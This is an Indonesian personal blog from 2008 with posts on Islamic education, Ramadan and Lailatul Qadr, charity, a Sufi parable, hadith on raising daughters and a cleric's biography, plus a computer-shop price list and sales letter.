AHLAN WA SAHLAN

AHLAN WA SAHLAN
HIASI HARI DENGAN SENYUM 
BELAJAR BERBUAT UNTUK ORANG LAIN
SEMOGA ALLAH MEMBERI RAHMAT
KEPADA SEMUA UMATNYA YANG IHLAS



Selasa, 04 November 2008

MAKNA DAN HARAPAN SEBUAH PENDIDIKAN

Manusia adalah sebagai makhluk sosial ( Homo Sosius ), yang dibekali Tuhan dengan akal, di mana akal akan menjadikan manusia mengetahui segala sesuatu. Sesuatu yang sepele terkadang terlupakan begitu saja dalam kehidupan. Manusia sering terfokus kepada persoalanbesar, namun sering kali terlena pada permasalahan yang sepele. Pendidikan merupakan proses yang dilakukan oleh sebagian masyarakat di belahan dunia manapun. Namun pendidikan yang diharapkan sebagai bagian dari proses kehidupan yang dapat mengentaskan manusia dari penindasan dan kesengsaraan ternyata menjadi bagian yang menindas manusia itu sendiri. Oleh karena itu bagaimana sekarang memposisikan proses pembelajaran sebagai hal yang suci dan sesuai dengan harapan masyarakat, yaitu sebuah proses pembelajaran yang tidak menindas dan tidak ada yang tertindas. Ketika seseorang merasakan hak-haknya dirampas, maka seharusnya ia menuntut.

Mendengar kata pendidikan tentunya telinga kita sudah tidak asing lagi, apalagi sebagai kaum akademis yang sehari-hari hidup dilingkungan pendidikan baik ditingkatan taman kanak-kanak sampai perguruan tinggi tentunya kata pendidikan sudah sering kita dengar, akan tetapi kita juga sering kali bahkan banyak pelaku maupun objeck dari pendidikan tersebut yang belum faham tentang makna dan hakekat sebuah pendidikan, ketika kita melihat sebuah pendidikan tentunya ada dua sisi yang jelas dan nampak untuk mendefinisikan kata pendidikan walaupun tidak semudah dengan kita mendefinisikan sebuah pendidikan dengan melihat supra dan infra structur saja, yakni ada tenaga pengajar, media pendidikan termasuk kelengkapan dan bangunan ada tenaga pendidik dan ada yang dididik, terlepas dari itu semua tentunya kita harus berfikir akan dibawa kemanakah arah pendidikan kita pada umumnya dan khususnya pendidikan Islam hari ini, tentunya tujuan dari pendidikan tidaklah sekedar proses alih buday atau alih ilmu pengetahuan (transfer of knowledge), tetapi juga sekaligus sebagai proses alih nilai ajaran agama “Islam” (transfer of value), kalau dalam islam jelas bahwa tujuan pendidikan adalah membentuk manusia yang bertaqwa; yakni manusia yang bisa mencapai Al Falaah, kesuksesan hidup yang abadi: dunia dan akhirat (muflihun).kalau kita melihat dan mengartikan pendidikan (Islam) tentunya kita harus mengali sumber-sumber ilmu yang sudah di berikan oleh Tuhan lewat wahyu yang berupa kitab suci Al Qur’an yang bias menerangi dan mengatasi perubahan social maupun perubahan budaya. Dan diharapkan dengan adanya pendidikan yang bersumber dari Al Quran tersebut mampu melahirkan manusia yang mampu mencapai apa yang disebut mardhatillah yakni sesuai harapn dan citacita pengembangan pendidikan dan inilah dengan apa yang disebut sebagai causa finalisnya yakni mengapa dan untuk apa pendidikan itu dalam pergolakan perubahan social ini.

Berangkat dari sinilah kita songsong, tanggapi dan kita jangkau masa depan pendidikan dalam kaitan dengan itu semua, maka penting bagi kita sebagai manusia yang mengaku kaum akademis untuk tetap berpegang pada causa finalis pendidikan untuk menjadikan manusia sukses di dunia dan akhirat dengan semboyan bahwa pendidikan merupakan harga mati bagi kita semua khususnya umat Islam dengan mengacu pada syair ”tuntutlah ilmu walau kenegeri cina” bahkan wajib bagi kita sebagai umat islam untuk menuntut ilmu mulai dari kandungan hingga ke liang lahat. Hal yang demikian tentunya harus di dukung dengan kualitas tenaga pendidik yang memiliki profesionalisme yang memadai untuk menjalankan tugasnya sebagaimana disebut dalam pasal 39 UU No 20/2003 yaitu merencanakan pembelajaran, melaksanakan pembelajaran, menilai hasil pembelajaran, melakukan pembimbingan, melakukan pelatihan, melakukan penelitian dan melakukan pengabdian masyarakat.Walaupun guru dan pengajar bukan satu-satunya faktor penentu keberhasilan pendidikan tetapi, pengajaran merupakan titik sentral pendidikan dan kualifikasi, sebagai cermin kualitas, tenaga pengajar memberikan andil sangat besar pada kualitas pendidikan yang menjadi tanggung jawabnya.

Paulo Freire juga mangatakan bahwa pendidikan seharusnya berorientasi pada pengenalan realitas dari manusia dan dirinya. Hal itu berarti bahwa pendidikan bukan hanya sebagai ajang transfer of knowledge akan tetapi bagaimana ilmu pengetahuan dijadikan saranauntuk mendidik manusia agar mampu membaca realitas sosial. Hal ini juga didukung oleh Lodge yang menyatakan life is education, education is life.

Kemudian, pendidikan diharapkan bisa menuju tercapainya sikap dan perilaku “toleran”, lapang dada dalam berbagai hal dan bidang, berorientasi pada intensifikasi pemahaman bahasa asing (Arab-Inggris) sebagai alat untuk mengumpulkan ilmu pengetahuan yang semakin pesat perkembaganya, mampu menumbuhkan kemampuan untuk berswadaya dan mandiri dalam kehidupan untuk menghadapi pertumbuhan penduduk, perubaan struktur ekonomi dan social yang luas dan mempunyai jangkauan yang jauh, menumbuhkan etos kerja, mempunyai apresiasi pada kerja, disiplin dan jujur.
Dengan beberapa pemaparan di atas kita bisa menyimpulkan dari beberapa orientasi pendidikan seperti yang telah dikemukakan, sangat diperlukan untuk menyiapkan generasi kini dalam menghadapi tantangan zaman. Orientasi pendidikan seperti yang dimaksud, merupakan penjabaran kongkrit dari ajaran Islam dan sekaligus merupakan perwujudan kebutuhan untuk mempertemukan kembali segi material dengan sepiritual, dengan bentuk dan isi seperti yang terkandung dalam ajaran Islam. Tantangan yang kita hadapi tidaklah ringan dan tantangan yang dimaksud tidak hanya dihadapi oleh bangsa Indonesia saja khususnya ummat Islam tetapi juga dihadapi oleh bangsa-bangsa di dunia, khususnya dunia Islam maka yang dibutuhkan hari in adalah ahli fakir, ilmuan yang mampu menjalani dan mengintegrasi ilmu duniawi dengan ilmu ukhrowi dalam diri manusia Muslim yang utuh (khususnya di Negara kita), menjadi insan Ulul Albab insan yang mengabdi pada Allah SWT, di atas jalan yang penuh dengan ridlha Nya.


Senin, 15 September 2008

Surat Penawaran

Perihal: Penawaran dan Kerjasama

Yth. Bapak/lbu/Saudara Pembaca

di Tempat

Assalaamu'alaikum Warahmatullaahi Wabarakaatuh

Dengan Hormat,

Bersama dengan ini Kami dari ALICOMP Surabaya bermaksud menawarkan pengadaan komputer dan peralatan pendukung lainnya. Disamping itu kami juga menawarkan maofen-macam jasa seperti Instalasi LAN, WebDesign, Perawatan, dan Training Komputer. Uflrfuk detail spesifikasi komputer dapat dilihat pada lampiran dan dapat disesuaikan dengan spesifikasi dan kebutuhan Bapak/lbu/Saudara.

Demikian penawaraa kami, besar harapan kami penawaran ini dapat berianjut menjadi sebuah kerjasama yang baik. Dan oleh karena itu kami sampaikan terimakasih.

Assalaamu'alaikum Warahmatullaahi Wabarakaatuh

Surabaya, 17 September 2008

Hormat kami,

Muntoha Nurwahid

Contact Person: (031) 71816903 - 085648734288

E-mail : al_ihsan_13th@yahoo.com (alwalys On Line), cyberdyne.zero@yahoo.com





Penawaran dan Kerjasama

PAKET KOMPTER 1 
Spesifikasi: 
Motherboard Socket 478 (New) 
Processor Intel Pentium 4 1,7 GHz (Second) 
Memory DDR 512 Mb (New) 
Hard Disk 20G – 30G 
CD Room 
LAN 
Casing Tower ATX (New) 
Keyboard + Mouse Optic (New) 
Monitor Digital 15 Inch (Second) 

RP. 1.510.000,- 


PAKET KOMPTER 2 NEW 
Spesifikasi: 
Motherboard Socket 478  
Memory DDR 512 Mb 
Hard Disk 80G 
CD Room 52X 
LAN 
Casing Tower ATX  
Keyboard + Mouse Optic  
Monitor TreQ 15 Inch 

Processor Intel P4 1,8G = Rp. 2.110.000,- 
Processor Intel P4 2,0G = Rp. 2.140.000,- 
Processor Intel P4 2,4G = Rp. 2.260.000,- 


PAKET KOMPTER 3 NEW 
Spesifikasi: 
Motherboard P4 LGA 
VGA 128 Mb OB (PCI-E)  
Memory DDR 512 Mb 
Hard Disk 80G 
DVD RW 20X 
LAN 
Casing Tower ATX  
Keyboard + Mouse Optic  
Monitor TreQ 15 Inch 

Celeron Dual Core 1,8G = Rp. 2.610.000,- 
Pentium Dual Core 1,8G = Rp. 2.810.000,- 
Pentium Dual Core 1,8G = Rp. 2.910.000,- 
Pentium Core 2 Duo1,8G = Rp. 3.410.000,- 

Pesan Sekarang Juga di: 

ACC Computer Hub: Muntoha di 03171816903 / 085648734288

Penyedia layanan: 

Laptop, Sofware dan Harware, networking, Art Design, Design Web, etc

Melayani Sepenuh Hati :)




Tak Semua Yang Berakhir Itu Buruk

  1. Sesungguhnya Kami telah menurunkannya (Al Quran) pada malam kemuliaan.
  2. Dan tahukah kamu apakah malam kemuliaan itu?
  3. Malam kemuliaan itu lebih baik dari seribu bulan.
  4. Pada malam itu turun malaikat-malaikat dan malaikat Jibril dengan izin Tuhannya untuk   mengatur segala urusan.
  5. Malam itu (penuh) kesejahteraan sampai terbit fajar.

Malam kemuliaan dikenal dalam bahasa Indonesia dengan malam Lailatul Qadr yaitu suatu malam yang penuh kemuliaan, kebesaran. Karena pada malam itu permulaan Turunnya Al Quran.

Dalam surat Al Qodr memiliki empat arti :

  1. Penetapan
  2. Pengaturan
  3. Malam kemuliaan (Rosul bisa mulia karena Al Quran)
  4. Sempit / Dhoyyi’ (karena hari-hari ini sempit oleh jutaan malaikat)

Pada kata lafad anzalanahu, dhomir hu merujuk pada Al Quran yang menunjukkan peristiwa nuzulul quran. 
Anzala pada surat Al Qodr memiliki pengertian :

  1. Menunjukkan jumlah / jumlatan wahidatan (turun sekaligus), ditunjukkan dengan peristiwa turunnya Al Quran. (Ad dukhon 1-3)
  2. Lailatul qodr
  3. Romadhon (al baqoroh 185)
    Anzala pada surat Al Anfal ayat 41 menunjukkan arti malaikat

Wahai saudaraku, Romadhon yang pernuh kemuliaan ini mari kita manaatkan dengan sebaik-baiknya untuk mendapatkan pahala yang berlimpah sehingga Allah menempatkan kita di maqom yang lebih tinggi dari manusia yang biasanya. Lailatul Qodr adalah salah satu buah emas yang harus kita petik dengan kita bertaqorrub kepada Allah, beri'tikaf, bermunajat di sepertiga malam Romadhon sepuluh hari terakhir dan pada hari-hari ganjil. 

Semangat timbul di bulan suci ini biasanya timbul di awal -awal puasa romadhon dan setelah akhir-akhir romadhon semangat yang ada sudah berbeda, semangatnya berubah untuk persiapan harin raya. Sebenarnya ini adalah sebuah ujian Alloh kepada kita mulai dari keistiqomahan, kesabaran, keihlasan tentunya dalam beribadah dalam romadhon ini. Banyak dari orang yang menjalankan puasa romadhon ini cukup mendapatkan lapar dan dahaga saja.

Mudah-mudahan saudaraku, kita di bulan suci ini diberikan kekuatan lahir dan batin dalam menjalankan ibadah mulia ini, tentunya dengan beristighar, berbasah dengan lantunan dzikir, dan mendapatkan Lailatul Qodr. Mari kita tingkatkan semangat kita di akhir romadhon yaitu malam ganjil terakhir dibulan romadhon (27/29) untuk mendapat malam kemuliaan, malam seribu malam yaitu Lailatul Qodr dengan beri'tikaf di masjid memohon pada Alloh segala ampunan maupun permintaan apapun yang baik. Karena pada akhir bulan suci ini orang banyak disibukkan untuk kegiatan menyambut romadhon. 

Ya Allah jadikan kami termasuk hamba-hamba Mu yang Al Kayyis :)



Kamis, 21 Agustus 2008

Muliakan Diri Dengan Berbagi



Mengungkapkan perasaan syukur pada Alloh, biasanya dengan shodaqoh. Bersedekah terkadang selalu dikaitkan dengan hal-hal yang menyenangkan, seharusnya tidak hannya dikala senang kita bersedekah. Kalau kita lagi susah dan kesulitan keuangan maka bershodaqohlah atau berinfaqlah. :)

InsyaAlloh akan datang kemudahan dan rizki dari tempat yang tidak diduga sebelumnya (money come automatically), Karena dengan shodaqoh dan infaq akan bisa menolak bala’ dan kesusahan. Sebab, kalau seseorang dalam hidupnya banyak menolong dan meringankan beban hidup orang lain maka dia akan mendapatkan buahnya dengan banyak ditolong orang lain dikala dia kesulitan. Karena siapapun yang senang berinfaq atau bershodaqoh disaat senang maupun susah pasti Alloh akan menolongnya baik di saat senang maupun susah. Wallohu fi ‘aunil ‘abdi ma kaanal ‘abdu fi ‘auni akhihi, Alloh selalu menolong seorang hamba selama hamba banyak menolong saudaranya. Bahkan di akhir ayat 8 At Thalaq Alloh mengatakan bagi orang-orang yang berinfaq di saat susah dengan kalimat “sayaj’alullahu ba’da ‘usrin yusron,Alloh kelak akan memberikan kelapangan sesudah kesempitan”. :)

Dan kalau harta anda ingin berkembang dan bertambah terus. Zakatlah!!. InsyaAlloh harta anda akan bertambah dengan banyak tawaran bisnis kepada anda. Dan kalau anda lagi kesulitan keuangan, berinfaqlah!! InsyaAlloh akan banyak teman datang membawa rezqi kepada anda.Dan kalau anda ingin terbebas dari bala’, beshodaqolah!! InsyaAlloh anda tidak akan tersentuh olehnya karena banyak kawan membantu anda. Buktikan!!. :)

Ya Alloh, Jadikan kami termasuk orang yang Al Kayyis :) ;)

Rabu, 16 Juli 2008

BELIEVE IN YOUR SELF

Ada hari kala kamu bangun pagi ……….
Keaaan tidak seperti yang kamu harapkan terjadi
Itulah saat ketika kamu harus beritahu diri sendiri,
bahwa keadaan akan membaik

Ada saat ketika orang mengecewakanmu ………
Dan membuatmu sedih …..….
Itulah disaat kamu harus mengingt diri sendiri
Untuk percaya pada penilaian dan penapatmu sendiri
Untuk tetap fokus pada keayakinan akan diri sendiri

Akan ada tantangan dan perubahan yang harus kamu hadapi dalam hidup ……..
Bagaimana menerimanya, itu semua terserah kamu
Tetapkah jaga dirimu pada arah yang tepat untuk mencapau tujuanmu 
Memang tidak mudah, tapi masa2 sulit itu ………
Akan menyadarkanmu tentang jati dirimu yang sesungguhnya ……..
Jadi, bila hari-harimu dipenuhi engan frustasi …..…..
Dan tanggung jawab yang membebani

Ingatlah untuk tetap yakin pada diri diri sendiri 
dan segala yang kamu inginkan dalam hidupmu ..…….
Karena semua tantangan dan perubahan itu hanya akan membantumu
Menemukan tujuan yang kamu tahu memang diperuntukan bagimu
Yakinlah pada dirimu …..





Senin, 14 Juli 2008

STOP BE A GLASS


Seorang Guru sufi mendatangi seorang muridnya ketika wajahnya belakangan ini selalu tempak murung.

"Kenapa kau selalu murung, nak? Bukankah banyak hal yang indah di dunia ini? Ke mana perginya wajah bersyukurmu?" sang Guru bertanya.

"Guru belakangan ini hidup saya penuh masalah, sulit bagi saya untuk tersenyum. Masalah datang seperti tak ada habis-habisnya," jawab sang murid muda

Sang Guru terkekeh. "Nak, ambil segelas air dan dua genggam garam. Bawalah kemari, biar kuperbaiki suasana hatimu itu."

Si muridpun beranjak pelan tanpa semangat. Ia laksanakan permintaan gurunya itu, lalu kembali lagi membawa gelas dan garam sebagaimana yang diminta.

"Coba ambil segenggam garam, dan masukkan ke segelas air itu, "kata Sang Guru. "Setelah itu coba kau minum airnya sedikit."

Si muridpun melakukannya. Wajahnya kini meringis karena meminum air asin.

"Bagaimana rasanya?" tanya Sang Guru. "Asin, dan perutku jadi mual, "jawab si murid dengan wajah yang masih meringis.

Sang Guru terkekeh-kekeh melihat wajah muridnya yang meringis keasinan.

"Sekarang kau ikut aku." Sang Guru membawa muridnya ke danau di dekat tempat mereka. "Ambil garam yang tersisa, dan tebarkan ke danau."

Si murid menebarkan segenggam garam yang tersisa ke danau, tanpa bicara. Rasa asin di mulutnya belum hilang. Ia ingin meludahkan rasa asin dari mulutnya, tapi tak dilakukannya. Rasanya tak sopan meludah dihadapan mursyid, begitu pikirnya.

"Sekarang coba kau minum air danau itu, "kata Sang Guru sambil mencari batu yang cukup datar untuk didudukinya, tapat di pinggir danau.

Si murid menangkupkan ke dua tangannya, mengambil air danau, dan membawanya ke mulut lalu meneguknya. Ketika air danau yang dingin dan segar mengalir ditengorokanya, Sang Guru bertanya kepadanya, "Bagaimana rasanya?".

"Segar, segar sekali," kata si murid sambil mengelap bibirnya dengan punggung tanyannya.

"Tentu saja, danau ini berasal dari aliran sumber air di atas sana. Dan airnya mengalir menjadi sungai kecil di bawah. Dan sudah pasti, air danau ini juga menghilangkan rasa asin yang tersisa di mulutnya. Terasakah rasa garam yang kau tebarkan tadi?"

"Tidak sama sekali," kata si murid sambil mengambil air dan meminumnya lagi. Sang Guru hanya tersenyum memperhatikannya, membiarkan muridnya itu meminum air danau sampai puas.

"Nak," kata Sang Guru setelah muridnya selesai meminum.

"Segala masalah dalam hidup itu sepertinya segenggam garam. Tidak kurang, tidak lebih. Hanya segenggam garam. Banyaknya masalah dan penderitaan yang harus kau alami sepanjang kehidupanmu itu sudah dikadar Oleh Alloh, sesuai untuk dirimu. Jumlahnya tetap, segitu-segitu saja, tidak berkurang dan tidak bertambah. Setiap manusia yang lahir kedunia ini pun demikian. Tidak ada satu pun manusia, walaupun dia seorang Nabi, yang bebas dari penderitaan dan masalah."

Si murid terdia, mendengarkan. 
"Tetapi Nak, rasa asin dari penderitaan yang dialami itu sangat tergantung dari besarnya QOLBU (hati) yang menampungnya. Jadi Nak supaya tiak merasa menderita, Berhentilah Jadi Gelas. Jadikan Qolbu dalam dadamu itu jadi sebesar danau.
"Hidup memang butuh keranian. Tapi, akan lebih butuh ketelitian. Cermati langkahmu, waspadai tindakanmu. Hati-hati saat mencelupkan diri dalam toples kehidupan. Kalau tidak Rasa Pahit yang akan kita temukan.

Minggu, 13 Juli 2008

KEUTAMAAN ANAK WANITA


Jauh sebelum Islam datang, pembicaraan tentang kedudukan wanita didominasi oleh diskriminasi terhadap kaum hawa. Di zaman jahiliyyah, wanita sangat rendah kedudukannya. Seorang suami yang meninggal dunia kemudian meninggalkan seorang isteri, maka isteri tersebut menjadi waris bagi saudara laki-laki suaminya. Bahkan anak wanita di zaman jahiliyyah sama sekali mendapat perlakuan yang tidak manusia. Karena menurut anggapan mereka, memiliki anak wanita hanya akan menambah malu dan hina di masyarakat. Oleh karena itu, zaman jahiliyyah, banyak bayi-bayi wanita yang lahir dibunuh atau dikubur hidup-hidup. Sebagaimana kisah Umar bin Khathab sebelum masuk Islam menguburkan anak perempuannya.

Di zaman Eropa masih dalam kegelapan, wanita dianggap sebagai barang pemuas nafsu bagi laki-laki saja, tidak lebih dari itu. Bahkan ada yang memandang perempuan adalah barang mati yang tidak ada harganya sama sekali. Di zaman Revolusi Industri di Inggris, wanita banyak dipekerjakan dan dieksploitasi tenaganya di pabrik-pabrik, penggalian tambang bawah tanah dengan gaji yang sangat murah.

Ketika Islam datang, wanita sedikit-demi sedikit diangkat derajatnya oleh Rasulullah SAW. Dalam berbagai pernyataannya, beliau mengatakan:

مَا أكْرَمَ النِّسَاءَ إلاََّ كَرِيْمٌ وَلاَ أهَانَهُنَّ إلاَّ لَئِيْمٌ

“Tidaklah menghormati kaum wanita kecuali orang yang mulia, dan tidaklah menghinakan wanita kecuali orang yang hina/jahat.”(HR Ibnu ‘Asyakir)

“Orang mukmin yang paling sempurna imannya adalah mereka yang paling baik budi pekertinya. Dan yang terbaik di antara kalian adalah yang paling baik kepada isterinya.” (HR Tirmidzi dan Ibnu Hibban)

“Sebaik-baik kalian adalah orang yang paling baik kepada isterinya.” (HR AL-Hakim dengan Sanad Shahih)

Hadits-hadits tersebut menunjukkan betapa Rasulullah SAW sangat menghormati dan memuliakan kaum wanita, hingga sebaik-baik seorang muslim adalah mereka yang menghormati dan memuliakan kaum wanita. Sebaliknya, sejahat-jahat manusia adalah mereka yang menghinakan dan merendahkan kaum wanita.

Dalam pandangan Islam, wanita adalah makhluk Alloh SWT yang harus dijaga kehormatannya, dimuliakan harga dirinya, disayang, bersikap lemah lembut. Wanita ibarat barang mahal yang harus disimpan di tempat yang tersembunyi dan kuat agar tidak dijamah oleh tangan-tangan manusia yang jahat. Begitulah Islam memuliakan kaum wanita, hingga Rasulullah SAW bersabda bahwa sholatny wanita di rumah lebih baik dari pada di masjid. Dalam rangka memuliakan wanita, Islam tidak mewajibkan kerja mencari nafkah bagi wanita. Dan untuk memuliakan wanita, seorang anak harus memberatkan kebaktiannya kepada seorang ibu tiga kali lipat dari pada kepada ayahnya. Dan demi memuliakan wanita, Alloh SWT memerintahkan wanita untuk menutup seluruh tubuh (kecuali muka dan telapak tangan) dengan memakai jilbab. Dan demi memuliakan wanita, Rasulullah SAW bersabda bahwa surga berada dibawah telapak kaki ibu.
Dan untuk memuliakan wanita ,Rasulullah SAW memberikan jaminan surga kepada orang tua yang memiliki tiga, atau dua anak perempuan yang dididik dengan adab yang baik, menjadi wanita shalehah, tidak berat sebelah dan membeda-bedakan dengan anak laki-laki. Sebagaimana sabda Rasulullah SAW:

لاَيَكُوْن ِلأَحَدٍ ثَلاَثُ بَنَاتٍ أوْ ثَلاَثُ أخَوَاتٍ أوْ إبْنَتَانِ فَيَتَّقِى الله فِيْهِنَّ وَ يُحْسِنُ إلَيْهِنَّ إلاَّ دَخَلَ الْجَنَّةَ (أخرجه البخاري فى الادب المفرد 1/162)

“Tidaklah ada salah seorang di antara kamu yang mempunyai tiga anak perempuan, atau tiga saudara perempuan atau dua anak perempuan dan mereka taat kepada Alloh dan mendidik dengan akhlak yang baik, kecuali ia akan masuk surga.”(HR Bukhari, Lihat Kitab Al-Adabul Mufrod I :162)


مَنْ أنْفَقَ عَلَى ابْنَتَيْنِ أوْ أخْتَيْنِ أوْ ذَوَاتِي قَرَابَةً يَحْتَسِبُ النَّفَقَة عَلَيْهِمَا حَتَّى يُغْنِيْهِمَا الله مِنْ فَضْلِهِ أوْ يَكْفِيْهِمَا كَانَتَا لَهُ سِتْرًا مِنَ النَّارِ (رواه أحمد 6/293, أنظر أحكام النساء للإمام أبى الفرج جمال الدين عبد الرحمن أبن علي بن محمد ألجوزى ألقرشى البغدادى)
“Barangsiapa menafkahi dua anak perempuan atau dua saudara perempuan atau dua kerabat perempuan kemudian membaikkan nafkahnya sehingga Alloh memberikan kekayaan dengan karunia-Nya atau mencukupkannya maka keduanya akan menjadi perisai/tameng dari api neraka.” (HR Imam Ahmad, Lihat Ahkamun Nisa’ oleh Imam Abu Faroj Jamaludin Abdurrahman Al-Baghdadi)

مَامِنْ مُسْلِمٍ تُدْرِكُهُ ابْنَتَانِ فَيُحْسِنُ صُحْبَتَهُمَا إلاَّ أدْخَلَتَاهُ الْجَنَّةَ (أخرجه البخاري فى ألادب المفرد 1/160)

“Tidaklah seorang muslim membesarkan dua anak perempuan kemudian membaikkan pergaulan dengan mereka kecuali keduanya akan memasukkannya kedalam surga.” (HR Bukhari , Lihat Al-Adabul Mufrod I:160)

مَنْ وَلَدَتْ لَهُ إبْنَةٌ فَلَمْ يُئَدِّهَا وَلَمْ يُهْنِهَا وَلَمْ يُؤَثِرْ وَلَدَهُ عَلَيْهَا-يَعْنِى الذُّكُوْر-أدْخَلَهُ الله عَزَّ وَجَلَّ بِهَا الْجَنَّةَ (أخرجه أحمد 1/223)

“Barangsiapa mempunyai satu anak perempuan, kemudian tidak menguburkannya hidup-hidup, tidak menghinakannya, tidak lebih mementingkan anak laki-laki dari pada dirinya, maka Alloh SWT akan memasukkan sebab anak perempuan itu ke dalam surga.” (HR Ahmad)

مَنْ كَانَ لَهُ ثَلاَثُ بَنَاتٍ أوْ ثَلاَثُ أخَوَاتٍ اتَّقِى الله وَأقَامَ عَلَيْهِنَّ كَانَ مَعِى فِى الْجَنَّةِ هَكَذَا وَأشَارَ بِأصَابِعِهِ الاَرْبَعِ ( أنظر فى الادب المفرد 1/ 162)

“Barangsiapa yang memiliki tiga anak perempuan atau tiga saudara perempuan , kemudian mereka bertakwa kepada Alloh SWT serta menjaga mereka, maka dia akan bersamaku di surga seperti ini ( Rasulullah SAW memberikan isyaroh dengan keempat jarinya)” (Lihat Kitab Al-Adabul Mufrod I:162)

لاَ يَكُوْنُ لأَحَدٍ ثَلاَثُ بَنَاتٍ أوْثَلاَثُ أخَوَاتٍ فَيُحْسِنُ إلَيْهِنَّ إلاَّ دَخَلَ الْجَنَّةَ ( رواه أبو داود عن سعيد الخدري )

“Tidaklah ada salah seorang di antara kamu yang memiliki tiga anak perempuan atau tiga saudara perempuan kemudian mendidik mereka dengan akhlak yang baik, kecuali dia akan masuk surga.”(HR Abu Dawud dari Sa’id Al-Khudry ra)

مَنْ كَانَتْ لَهُ ثَلاَثُ بَنَاتٍ فَصَبَرَ عَلَيْهِنَّ وَأطْمَعَهُنَّ وَسَقَاهُنَّ وَكَسَاهُنَّ مِنْ جِدَّتِهِ كُنْ لَهُ حِجَابًا مِنَ النَّارِ ( أخرجه البخاري فى الادب المفرد 1/159, رواه إبن ماجه وأحمد)

“Barangsiapa yang mempunyai tiga anak perempuan kemudian dia sabar atas mereka dan memberi makan kepada mereka dan memberi minum kepada mereka, memberi pakaian kepada mereka dari jalan yang lurus (halal), jadilah mereka baginya sebagai perisai/tameng dari api neraka.” (HR Bukhari dan Ahmad serta Ibnu Majah)

لاَ تُكْرِهُوا اْلبَنَاتِ فَإنَّهُنَّ الْمُؤْنِسَاتِ الغَالِيَاتِ ( رواه أحمد والطبرانى )

“Janganlah membenci anak-anak perempuan, karena sesungguhnya mereka adalah senjata dan campuran berbagai wangi-wangian.” (HR Ahmad dan Ath-Thabrani)

مَنْ كَانَتْ لَهُ بِنْتٌ فَأدَبَّهَا فَأحْسَنَ تَأدِيْبَهَا وَعَلِّمَهَا فَأحْسَنَ تَعْليِْمَهَا وَأسْبَغَ عَلَيْهَا مِنْ نِعْمَةِ الله عَزَّ وَجَلَّ الَّتِى أسْبَغَ عَلَيْهِ كَانَتْ لَهُ سِتْرًا حِجَابًا مِنَ النَّارِ (رواه الطبرانى أنظر مجمع الزوائد 8/158)


“Barangsiapa mempunyai satu anak perempuan kemudian diajari adab (sopan santun) serta membaikkan adabnya , mengajarkan ilmu kepadanya dan membaikkan ilmunya , menyempurnakan nikmat Alloh kepadanya yang harus disempurnakan, maka baginya sebagai tirai dan hijab/perisai dari api neraka.” (HR Ath-Thabrani ,Lihat Majmu’ul Zawaid VIII: 158)

Diriwayatkan dari Abu Sa’id al-Khudry ra, dia berkata bahwa Rasulullah SAW bersabda:”Barangsiapa mengasuh tiga orang anak wanita, atau tiga orang saudara wanita, atau dua orang saudara wanita, atau dua anak wanita, lalu mendidik mereka, berbuat baik kepada mereka dan suami mereka, maka dia berhak mendapatkan surga.”(HR Tirmidzi dan Abu Dawud)

Dari Ibnu Abbas ra berkata bahwa Rasulullah SAW bersabda:”Barangsiapa mempunyai anak wanita, dia tidak menguburkannya hidup-hidup, tidak menghinakannya, dan tidak lebih mementingkan anak laki-laki dibandingkan dirinya, maka Alloh akan memasukkannya ke dalam surga.” (HR Abu Dawud)

Dari Anas bin Malik ra berkata bahwa rasulullah SAW bersabda:”Barangsiapa mengasuh dua anak gadis sampai mereka berdua mencapai tahap dewasa, maka dia kelak akan datang di Hari Kiamat, sementara aku dan dia begini-begini (Rasulullah SAW memberikan isyarat dengan merapatkan jarinya).” (HR Muslim dan Tirmidzi) Dan dalam riwayat Tirmidzi disebutkan,” Maka aku dan dia masuk surga seperti dua ini.” Beliau memberikan isyarat dengan jari-jarinya.
Keutamaan memelihara dan mendidik anak-anak perempuan yang diberikan oleh Alloh SWT kepada para orang tua tersebut , di samping untuk mengangkat derajat dan memuliakan kaum wanita, juga disebabkan oleh sulitnya menjaga, mendidik dan mengarahkannya. Ibarat pepatah Jawa:”Anak wadon iku mungsuh mungguhing cangklakan”. Atau pepatah mengatakan:”Musuh dalam selimut”.
Menjaga kehormatan bagi anak perempuan , apalagi di zaman yang penuh dengan fitnah seperti ini, dibutuhkan pengawasan yang ekstra ketat. Seorang anak wanita jika dibiarkan, akan membahayakan kehormatannya, sebaliknya jika dipingit maka tidak dapat berkembang. Banyaknya kasus pemerkosaan dan pelecehan seksual terhadap anak-anak perempuan di bawah umur saat ini menjadi bukti kuat akan sulitnya menjaga dan mendidik anak perempuan menjadi wanita shalihah.

Wallohu A'lam Bisshowab :y
Ya Alloh jadikan kami termasuk orang-orang yang Al-Kayyis :y :) ;)

Disadur: Abu Inaroh S.Si










Kamis, 10 Juli 2008

Biografi Abuya


SEKILAS BIOGRAFI :)
As-Sayyid Al-Imam Alawi bin :)
As-Sayyid Abbas Al-Maliki Al-Hasani :)

Nasab :)
Beliau adalah sayyid Alawi bin Abbas bin Abdul Azis Al-Maliki Al-Makki Al-Hasani. Nasab beliau sampai kepada Sayyid Idris Al-Azhari bin Idris Al-Akbar bin Abdullah Al-Kamil bin Hasan Al-Mutsanna bin Hasan As-Sibth bin Imam Ali (suami sayyidah Fathimah Az Zahra) binti Rasulillah shallallahu alaihi wasallam

Kelahiran dan Perkembangan :)
Beliau diilahirkan di Makkah pada tahun 1328 H. Tumbuh dan berkembang di bawah asuhan sang ayah yang mendidiknya dengan baik. Beliau memasuki kuttab (taman pendidikan kanak-kanak) milik pamannya, Sayyid Hasan Maliki, di rumah Sayyidah Khadijah Al-Kubra, gang Hajar (sekarang: Madrasah Al Huffadz). Pada usia 10 tahun beliau telah hafal Al Qur’an dan menjadi imam shalat Tarawih di Masjidil Haram.

Memasuki Madrasah Al-Falah :)
Beliau didaftarkan ayahnya di Madrasah Al-Falah. Guru-guru Al-Falah waktu itu merupakan ulama-ulama besar Masjidil Haram dari sisi agama, kewaraan, dan ketakwaan. Di antara mereka adalah Syekh Abdullah Hamduh, Syekh Muhammad Al-Arabi, Syekh Thayyib Al-Murakisy, Syekh Umar Hamdan, Syekh Isa Rawwash, Syekh Ahmad Nadhirin, Syekh Yahya Aman, Syekh Muhammad Amin Suwaid Ad-Dimasyqi, dan ulama-ulama besar yang lain. Beliau mereguk ilmu untuk agama dan dunianya dari mereka, seperti halnya beliau menjadikan guru-guru besar tersebut sebagai panutan dalam perilaku dan pergaulan yang baik serta keselamatan hati.
